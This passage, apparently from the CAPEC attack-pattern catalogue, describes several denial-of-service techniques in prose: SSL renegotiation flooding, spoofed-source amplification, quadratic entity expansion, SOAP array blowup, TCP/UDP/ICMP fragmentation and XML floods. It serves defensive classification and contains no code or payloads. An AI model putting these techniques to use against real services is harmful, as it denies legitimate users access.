An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.